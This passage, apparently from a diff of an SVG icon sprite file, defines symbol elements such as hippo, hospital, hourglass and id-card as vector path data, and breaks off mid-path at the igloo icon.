6.14 34.53 23.28 38.81 2.61.66 5.22.95 7.8.95 14.33 0 27.37-9.7 31.02-24.23l25.24-100.97-52.78-52.78-34.56 138.22zm14.89-196.12L137 117c2.19-8.42-3.14-16.95-11.92-19.06-43.88-10.52-88.35 15.07-99.32 57.17L.49 253.24c-2.19 8.42 3.14 16.95 11.92 19.06l63.56 15.25c8.79 2.1 17.68-3.02 19.87-11.44zM368 160h-16c-8.84 0-16 7.16-16 16v16h-34.75l-46.78-46.78C243.38 134.11 228.61 128 212.91 128c-27.02 0-50.47 18.3-57.03 44.52l-26.92 107.72a32.012 32.012 0 0 0 8.42 30.39L224 397.25V480c0 17.67 14.33 32 32 32s32-14.33 32-32v-82.75c0-17.09-6.66-33.16-18.75-45.25l-46.82-46.82c.15-.5.49-.89.62-1.41l19.89-79.57 22.43 22.43c6 6 14.14 9.38 22.62 9.38h48v240c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16V176c.01-8.84-7.15-16-15.99-16zM240 96c26.51 0 48-21.49 48-48S266.51 0 240 0s-48 21.49-48 48 21.49 48 48 48z"></path> + </symbol> + <symbol id="hippo" viewBox="0 0 640 512"> + <path d="M581.12 96.2c-27.67-.15-52.5 17.58-76.6 26.62C489.98 88.27 455.83 64 416 64c-11.28 0-21.95 2.3-32 5.88V56c0-13.26-10.75-24-24-24h-16c-13.25 0-24 10.74-24 24v48.98C286.01 79.58 241.24 64 192 64 85.96 64 0 135.64 0 224v240c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16v-70.79C128.35 407.57 166.72 416 208 416s79.65-8.43 112-22.79V464c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V288h128v32c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-32c17.67 0 32-14.33 32-32v-92.02c0-34.09-24.79-67.59-58.88-67.78zM448 176c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"></path> + </symbol> + <symbol id="history" viewBox="0 0 512 512"> + <path d="M504 255.531c.253 136.64-111.18 248.372-247.82 248.468-59.015.042-113.223-20.53-155.822-54.911-11.077-8.94-11.905-25.541-1.839-35.607l11.267-11.267c8.609-8.609 22.353-9.551 31.891-1.984C173.062 425.135 212.781 440 256 440c101.705 0 184-82.311 184-184 0-101.705-82.311-184-184-184-48.814 0-93.149 18.969-126.068 49.932l50.754 50.754c10.08 10.08 2.941 27.314-11.313 27.314H24c-8.837 0-16-7.163-16-16V38.627c0-14.254 17.234-21.393 27.314-11.314l49.372 49.372C129.209 34.136 189.552 8 256 8c136.81 0 247.747 110.78 248 247.531zm-180.912 78.784l9.823-12.63c8.138-10.463 6.253-25.542-4.21-33.679L288 256.349V152c0-13.255-10.745-24-24-24h-16c-13.255 0-24 10.745-24 24v135.651l65.409 50.874c10.463 8.137 25.541 6.253 33.679-4.21z"></path> + </symbol> + <symbol id="hockey-puck" viewBox="0 0 512 512"> + <path d="M0 160c0-53 114.6-96 256-96s256 43 256 96-114.6 96-256 96S0 213 0 160zm0 82.2V352c0 53 114.6 96 256 96s256-43 256-96V242.2c-113.4 82.3-398.5 82.4-512 0z"></path> + </symbol> + <symbol id="holly-berry" viewBox="0 0 448 512"> + <path d="M144 192c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm112-48c0 26.5 21.5 48 48 48s48-21.5 48-48-21.5-48-48-48-48 21.5-48 48zm-32-48c26.5 0 48-21.5 48-48S250.5 0 224 0s-48 21.5-48 48 21.5 48 48 48zm-16.2 139.1c.1-12.4-13.1-20.1-23.8-13.7-34.3 20.3-71.4 32.7-108.7 36.2-9.7.9-15.6 11.3-11.6 20.2 6.2 13.9 11.1 28.6 14.7 43.8 3.6 15.2-5.3 30.6-20.2 35.1-14.9 4.5-30.1 7.6-45.3 9.1-9.7 1-15.7 11.3-11.7 20.2 15 32.8 22.9 69.5 23 107.7.1 14.4 15.2 23.1 27.6 16 33.2-19 68.9-30.5 104.8-33.9 9.7-.9 15.6-11.3 11.6-20.2-6.2-13.9-11.1-28.6-14.7-43.8-3.6-15.2 5.3-30.6 20.2-35.1 14.9-4.5 30.1-7.6 45.3-9.1 9.7-1 15.7-11.3 11.7-20.2-15.5-34.2-23.3-72.5-22.9-112.3zM435 365.6c-15.2-1.6-30.3-4.7-45.3-9.1-14.9-4.5-23.8-19.9-20.2-35.1 3.6-15.2 8.5-29.8 14.7-43.8 4-8.9-1.9-19.3-11.6-20.2-37.3-3.5-74.4-15.9-108.7-36.2-10.7-6.3-23.9 1.4-23.8 13.7 0 1.6-.2 3.2-.2 4.9.2 33.3 7 65.7 19.9 94 5.7 12.4 5.2 26.6-.6 38.9 4.9 1.2 9.9 2.2 14.8 3.7 14.9 4.5 23.8 19.9 20.2 35.1-3.6 15.2-8.5 29.8-14.7 43.8-4 8.9 1.9 19.3 11.6 20.2 35.9 3.4 71.6 14.9 104.8 33.9 12.5 7.1 27.6-1.6 27.6-16 .2-38.2 8-75 23-107.7 4.3-8.7-1.8-19.1-11.5-20.1z"></path> + </symbol> + <symbol id="home" viewBox="0 0 576 512"> + <path d="M280.37 148.26L96 300.11V464a16 16 0 0 0 16 16l112.06-.29a16 16 0 0 0 15.92-16V368a16 16 0 0 1 16-16h64a16 16 0 0 1 16 16v95.64a16 16 0 0 0 16 16.05L464 480a16 16 0 0 0 16-16V300L295.67 148.26a12.19 12.19 0 0 0-15.3 0zM571.6 251.47L488 182.56V44.05a12 12 0 0 0-12-12h-56a12 12 0 0 0-12 12v72.61L318.47 43a48 48 0 0 0-61 0L4.34 251.47a12 12 0 0 0-1.6 16.9l25.5 31A12 12 0 0 0 45.15 301l235.22-193.74a12.19 12.19 0 0 1 15.3 0L530.9 301a12 12 0 0 0 16.9-1.6l25.5-31a12 12 0 0 0-1.7-16.93z"></path> + </symbol> + <symbol id="horse" viewBox="0 0 576 512"> + <path d="M575.92 76.6c-.01-8.13-3.02-15.87-8.58-21.8-3.78-4.03-8.58-9.12-13.69-14.5 11.06-6.84 19.5-17.49 22.18-30.66C576.85 4.68 572.96 0 567.9 0H447.92c-70.69 0-128 57.31-128 128H160c-28.84 0-54.4 12.98-72 33.11V160c-48.53 0-88 39.47-88 88v56c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-56c0-13.22 6.87-24.39 16.78-31.68-.21 2.58-.78 5.05-.78 7.68 0 27.64 11.84 52.36 30.54 69.88l-25.72 68.6a63.945 63.945 0 0 0-2.16 37.99l24.85 99.41A15.982 15.982 0 0 0 107.02 512h65.96c10.41 0 18.05-9.78 15.52-19.88l-26.31-105.26 23.84-63.59L320 345.6V496c0 8.84 7.16 16 16 16h64c8.84 0 16-7.16 16-16V318.22c19.74-20.19 32-47.75 32-78.22 0-.22-.07-.42-.08-.64V136.89l16 7.11 18.9 37.7c7.45 14.87 25.05 21.55 40.49 15.37l32.55-13.02a31.997 31.997 0 0 0 20.12-29.74l-.06-77.71zm-64 19.4c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16z"></path> + </symbol> + <symbol id="horse-head" viewBox="0 0 512 512"> + <path d="M509.8 332.5l-69.9-164.3c-14.9-41.2-50.4-71-93-79.2 18-10.6 46.3-35.9 34.2-82.3-1.3-5-7.1-7.9-12-6.1L166.9 76.3C35.9 123.4 0 238.9 0 398.8V480c0 17.7 14.3 32 32 32h236.2c23.8 0 39.3-25 28.6-46.3L256 384v-.7c-45.6-3.5-84.6-30.7-104.3-69.6-1.6-3.1-.9-6.9 1.6-9.3l12.1-12.1c3.9-3.9 10.6-2.7 12.9 2.4 14.8 33.7 48.2 57.4 87.4 57.4 17.2 0 33-5.1 46.8-13.2l46 63.9c6 8.4 15.7 13.3 26 13.3h50.3c8.5 0 16.6-3.4 22.6-9.4l45.3-39.8c8.9-9.1 11.7-22.6 7.1-34.4zM328 224c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24z"></path> + </symbol> + <symbol id="hospital" viewBox="0 0 448 512"> + <path d="M448 492v20H0v-20c0-6.627 5.373-12 12-12h20V120c0-13.255 10.745-24 24-24h88V24c0-13.255 10.745-24 24-24h112c13.255 0 24 10.745 24 24v72h88c13.255 0 24 10.745 24 24v360h20c6.627 0 12 5.373 12 12zM308 192h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-168 64h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12zm104 128h-40c-6.627 0-12 5.373-12 12v84h64v-84c0-6.627-5.373-12-12-12zm64-96h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12zm-116 12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12v-40zM182 96h26v26a6 6 0 0 0 6 6h20a6 6 0 0 0 6-6V96h26a6 6 0 0 0 6-6V70a6 6 0 0 0-6-6h-26V38a6 6 0 0 0-6-6h-20a6 6 0 0 0-6 6v26h-26a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6z"></path> + </symbol> + <symbol id="hospital-alt" viewBox="0 0 576 512"> + <path d="M544 96H416V32c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32v64H32c-17.7 0-32 14.3-32 32v368c0 8.8 7.2 16 16 16h544c8.8 0 16-7.2 16-16V128c0-17.7-14.3-32-32-32zM160 436c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm160 128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm16-170c0 3.3-2.7 6-6 6h-26v26c0 3.3-2.7 6-6 6h-20c-3.3 0-6-2.7-6-6v-26h-26c-3.3 0-6-2.7-6-6v-20c0-3.3 2.7-6 6-6h26V86c0-3.3 2.7-6 6-6h20c3.3 0 6 2.7 6 6v26h26c3.3 0 6 2.7 6 6v20zm144 298c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-128c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z"></path> + </symbol> + <symbol id="hospital-symbol" viewBox="0 0 512 512"> + <path d="M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256 256-114.6 256-256S397.4 0 256 0zm112 376c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-88h-96v88c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8V136c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v88h96v-88c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v240z"></path> + </symbol> + <symbol id="hospital-user" viewBox="0 0 640 512"> + <path d="M480 320a96 96 0 1 0-96-96 96 96 0 0 0 96 96zm48 32a22.88 22.88 0 0 0-7.06 1.09 124.76 124.76 0 0 1-81.89 0A22.82 22.82 0 0 0 432 352a112 112 0 0 0-112 112.62c.14 26.26 21.73 47.38 48 47.38h224c26.27 0 47.86-21.12 48-47.38A112 112 0 0 0 528 352zm-198.09 10.45A145.19 145.19 0 0 1 352 344.62V128a32 32 0 0 0-32-32h-32V32a32 32 0 0 0-32-32H96a32 32 0 0 0-32 32v64H32a32 32 0 0 0-32 32v368a16 16 0 0 0 16 16h288.31A78.62 78.62 0 0 1 288 464.79a143.06 143.06 0 0 1 41.91-102.34zM144 404a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12H92a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm48-122a6 6 0 0 1-6 6h-20a6 6 0 0 1-6-6v-26h-26a6 6 0 0 1-6-6v-20a6 6 0 0 1 6-6h26V70a6 6 0 0 1 6-6h20a6 6 0 0 1 6 6v26h26a6 6 0 0 1 6 6v20a6 6 0 0 1-6 6h-26zm80 250a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12zm0-128a12 12 0 0 1-12 12h-40a12 12 0 0 1-12-12v-40a12 12 0 0 1 12-12h40a12 12 0 0 1 12 12z"></path> + </symbol> + <symbol id="hot-tub" viewBox="0 0 512 512"> + <path d="M414.21 177.65c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C378.96 6.14 372.22 0 364.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zm-108 0c1.02 8.21 7.75 14.35 15.75 14.35h16.12c9.51 0 17.08-8.57 16-18.35-4.34-39.11-22.4-74.53-50.13-97.16-17.37-14.17-28.82-36.75-31.98-62.15C270.96 6.14 264.22 0 256.23 0h-16.12c-9.51 0-17.09 8.57-16 18.35 4.34 39.11 22.4 74.53 50.13 97.16 17.36 14.17 28.82 36.75 31.97 62.14zM480 256H256l-110.93-83.2a63.99 63.99 0 0 0-38.4-12.8H64c-35.35 0-64 28.65-64 64v224c0 35.35 28.65 64 64 64h384c35.35 0 64-28.65 64-64V288c0-17.67-14.33-32-32-32zM128 440c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zm96 0c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8V328c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v112zM64 128c35.35 0 64-28.65 64-64S99.35 0 64 0 0 28.65 0 64s28.65 64 64 64z"></path> + </symbol> + <symbol id="hotdog" viewBox="0 0 512 512"> + <path d="M488.56 23.44a80 80 0 0 0-113.12 0l-352 352a80 80 0 1 0 113.12 113.12l352-352a80 80 0 0 0 0-113.12zm-49.93 95.19c-19.6 19.59-37.52 22.67-51.93 25.14C373.76 146 364.4 147.6 352 160s-14 21.76-16.23 34.71c-2.48 14.4-5.55 32.33-25.15 51.92s-37.52 22.67-51.92 25.15C245.75 274 236.4 275.6 224 288s-14 21.75-16.23 34.7c-2.47 14.4-5.54 32.33-25.14 51.92s-37.53 22.68-51.93 25.15C117.76 402 108.4 403.6 96 416a16 16 0 0 1-22.63-22.63c19.6-19.59 37.52-22.67 51.92-25.14 13-2.22 22.3-3.82 34.71-16.23s14-21.75 16.22-34.7c2.48-14.4 5.55-32.33 25.15-51.92s37.52-22.67 51.92-25.14c13-2.22 22.3-3.83 34.7-16.23s14-21.76 16.24-34.71c2.47-14.4 5.54-32.33 25.14-51.92s37.52-22.68 51.92-25.15C394.24 110 403.59 108.41 416 96a16 16 0 0 1 22.63 22.63zM31.44 322.18L322.18 31.44l-11.54-11.55c-25-25-63.85-26.66-86.79-3.72L16.17 223.85c-22.94 22.94-21.27 61.79 3.72 86.78zm449.12-132.36L189.82 480.56l11.54 11.55c25 25 63.85 26.66 86.79 3.72l207.68-207.68c22.94-22.94 21.27-61.79-3.72-86.79z"></path> + </symbol> + <symbol id="hotel" viewBox="0 0 576 512"> + <path d="M560 64c8.84 0 16-7.16 16-16V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h15.98v384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h240v-80c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v80h240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-16V64h16zm-304 44.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm0 96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zm-128-96c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4zM179.2 256h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4c0 6.4-6.4 12.8-12.8 12.8zM192 384c0-53.02 42.98-96 96-96s96 42.98 96 96H192zm256-140.8c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-96c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4z"></path> + </symbol> + <symbol id="hourglass" viewBox="0 0 384 512"> + <path d="M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64z"></path> + </symbol> + <symbol id="hourglass-end" viewBox="0 0 384 512"> + <path d="M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64zM192 208c-57.787 0-104-66.518-104-144h208c0 77.945-46.51 144-104 144z"></path> + </symbol> + <symbol id="hourglass-half" viewBox="0 0 384 512"> + <path d="M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-75.078 384H99.08c17.059-46.797 52.096-80 92.92-80 40.821 0 75.862 33.196 92.922 80zm.019-256H99.078C91.988 108.548 88 86.748 88 64h208c0 22.805-3.987 44.587-11.059 64z"></path> + </symbol> + <symbol id="hourglass-start" viewBox="0 0 384 512"> + <path d="M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-64 448H88c0-77.458 46.204-144 104-144 57.786 0 104 66.517 104 144z"></path> + </symbol> + <symbol id="house-damage" viewBox="0 0 576 512"> + <path d="M288 114.96L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496c0 8.84 7.16 16 16 16h149.23L192 439.19l104.11-64-60.16-119.22L384 392.75l-104.11 64L319.81 512H496c8.84 0 16-7.16 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2L288 114.96zm282.69 121.32L512 184.45V48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v51.69L314.75 10.31C307.12 3.45 297.56.01 288 0s-19.1 3.41-26.7 10.27L5.31 236.28c-6.57 5.91-7.12 16.02-1.21 22.6l21.4 23.82c5.9 6.57 16.02 7.12 22.6 1.21L277.42 81.63c6.05-5.33 15.12-5.33 21.17 0L527.91 283.9c6.57 5.9 16.69 5.36 22.6-1.21l21.4-23.82c5.9-6.57 5.36-16.69-1.22-22.59z"></path> + </symbol> + <symbol id="house-user" viewBox="0 0 576 512"> + <path d="M570.69,236.27,512,184.44V48a16,16,0,0,0-16-16H432a16,16,0,0,0-16,16V99.67L314.78,10.3C308.5,4.61,296.53,0,288,0s-20.46,4.61-26.74,10.3l-256,226A18.27,18.27,0,0,0,0,248.2a18.64,18.64,0,0,0,4.09,10.71L25.5,282.7a21.14,21.14,0,0,0,12,5.3,21.67,21.67,0,0,0,10.69-4.11l15.9-14V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V269.88l15.91,14A21.94,21.94,0,0,0,538.63,288a20.89,20.89,0,0,0,11.87-5.31l21.41-23.81A21.64,21.64,0,0,0,576,248.19,21,21,0,0,0,570.69,236.27ZM288,176a64,64,0,1,1-64,64A64,64,0,0,1,288,176ZM400,448H176a16,16,0,0,1-16-16,96,96,0,0,1,96-96h64a96,96,0,0,1,96,96A16,16,0,0,1,400,448Z"></path> + </symbol> + <symbol id="hryvnia" viewBox="0 0 384 512"> + <path d="M368 240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-41.86c13.41-28.63 13.74-63.33-4.13-94.05C303.34 49.84 267.1 32 229.96 32h-78.82c-24.32 0-47.86 8.53-66.54 24.09L72.83 65.9c-10.18 8.49-11.56 23.62-3.07 33.8l20.49 24.59c8.49 10.19 23.62 11.56 33.81 3.07l11.73-9.78c4.32-3.6 9.77-5.57 15.39-5.57h83.62c11.69 0 21.2 9.52 21.2 21.2 0 5.91-2.48 11.58-6.81 15.58L219.7 176H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h134.37l-34.67 32H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h41.86c-13.41 28.63-13.74 63.33 4.13 94.05C80.66 462.15 116.9 480 154.04 480h78.82c24.32 0 47.86-8.53 66.54-24.09l11.77-9.81c10.18-8.49 11.56-23.62 3.07-33.8l-20.49-24.59c-8.49-10.19-23.62-11.56-33.81-3.07l-11.75 9.8a23.992 23.992 0 0 1-15.36 5.56H149.2c-11.69 0-21.2-9.52-21.2-21.2 0-5.91 2.48-11.58 6.81-15.58L164.3 336H368c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H233.63l34.67-32H368z"></path> + </symbol> + <symbol id="i-cursor" viewBox="0 0 256 512"> + <path d="M256 52.048V12.065C256 5.496 250.726.148 244.158.066 211.621-.344 166.469.011 128 37.959 90.266.736 46.979-.114 11.913.114 5.318.157 0 5.519 0 12.114v39.645c0 6.687 5.458 12.078 12.145 11.998C38.111 63.447 96 67.243 96 112.182V224H60c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h36v112c0 44.932-56.075 48.031-83.95 47.959C5.404 447.942 0 453.306 0 459.952v39.983c0 6.569 5.274 11.917 11.842 11.999 32.537.409 77.689.054 116.158-37.894 37.734 37.223 81.021 38.073 116.087 37.845 6.595-.043 11.913-5.405 11.913-12V460.24c0-6.687-5.458-12.078-12.145-11.998C217.889 448.553 160 444.939 160 400V288h36c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-36V112.182c0-44.932 56.075-48.213 83.95-48.142 6.646.018 12.05-5.346 12.05-11.992z"></path> + </symbol> + <symbol id="ice-cream" viewBox="0 0 448 512"> + <path d="M368 160h-.94a144 144 0 1 0-286.12 0H80a48 48 0 0 0 0 96h288a48 48 0 0 0 0-96zM195.38 493.69a31.52 31.52 0 0 0 57.24 0L352 288H96z"></path> + </symbol> + <symbol id="icicles" viewBox="0 0 512 512"> + <path d="M511.4 37.9C515.1 18.2 500 0 480 0H32C10.6 0-4.8 20.7 1.4 41.2l87.1 273.4c2.5 7.2 12.7 7.2 15.1 0L140 190.5l44.2 187.3c1.9 8.3 13.7 8.3 15.6 0l46.5-196.9 34.1 133.4c2.3 7.6 13 7.6 15.3 0l45.8-172.5 66.7 363.8c1.7 8.6 14 8.6 15.7 0l87.5-467.7z"></path> + </symbol> + <symbol id="icons" viewBox="0 0 512 512"> + <path d="M116.65 219.35a15.68 15.68 0 0 0 22.65 0l96.75-99.83c28.15-29 26.5-77.1-4.91-103.88C203.75-7.7 163-3.5 137.86 22.44L128 32.58l-9.85-10.14C93.05-3.5 52.25-7.7 24.86 15.64c-31.41 26.78-33 74.85-5 103.88zm143.92 100.49h-48l-7.08-14.24a27.39 27.39 0 0 0-25.66-17.78h-71.71a27.39 27.39 0 0 0-25.66 17.78l-7 14.24h-48A27.45 27.45 0 0 0 0 347.3v137.25A27.44 27.44 0 0 0 27.43 512h233.14A27.45 27.45 0 0 0 288 484.55V347.3a27.45 27.45 0 0 0-27.43-27.46zM144 468a52 52 0 1 1 52-52 52 52 0 0 1-52 52zm355.4-115.9h-60.58l22.36-50.75c2.1-6.65-3.93-13.21-12.18-13.21h-75.59c-6.3 0-11.66 3.9-12.5 9.1l-16.8 106.93c-1 6.3 4.88 11.89 12.5 11.89h62.31l-24.2 83c-1.89 6.65 4.2 12.9 12.23 12.9a13.26 13.26 0 0 0 10.92-5.25l92.4-138.91c4.88-6.91-1.16-15.7-10.87-15.7zM478.08.33L329.51 23.17C314.87 25.42 304 38.92 304 54.83V161.6a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V99.66l112-17.22v47.18a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V32c0-19.48-16-34.42-33.92-31.67z"></path> + </symbol> + <symbol id="id-badge" viewBox="0 0 384 512"> + <path d="M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM144 32h96c8.8 0 16 7.2 16 16s-7.2 16-16 16h-96c-8.8 0-16-7.2-16-16s7.2-16 16-16zm48 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 416 80 407.4 80 396.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z"></path> + </symbol> + <symbol id="id-card" viewBox="0 0 576 512"> + <path d="M528 32H48C21.5 32 0 53.5 0 80v16h576V80c0-26.5-21.5-48-48-48zM0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V128H0v304zm352-232c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zM176 192c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zM67.1 396.2C75.5 370.5 99.6 352 128 352h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.9-5.2 19.8-15.6 19.8H82.7c-10.4 0-18.8-10-15.6-19.8z"></path> + </symbol> + <symbol id="id-card-alt" viewBox="0 0 576 512"> + <path d="M528 64H384v96H192V64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM288 224c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm93.3 224H194.7c-10.4 0-18.8-10-15.6-19.8 8.3-25.6 32.4-44.2 60.9-44.2h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.8-5.2 19.8-15.6 19.8zM352 32c0-17.7-14.3-32-32-32h-64c-17.7 0-32 14.3-32 32v96h128V32z"></path> + </symbol> + <symbol id="igloo" viewBox="0 0 576 512"> + <path d="M320 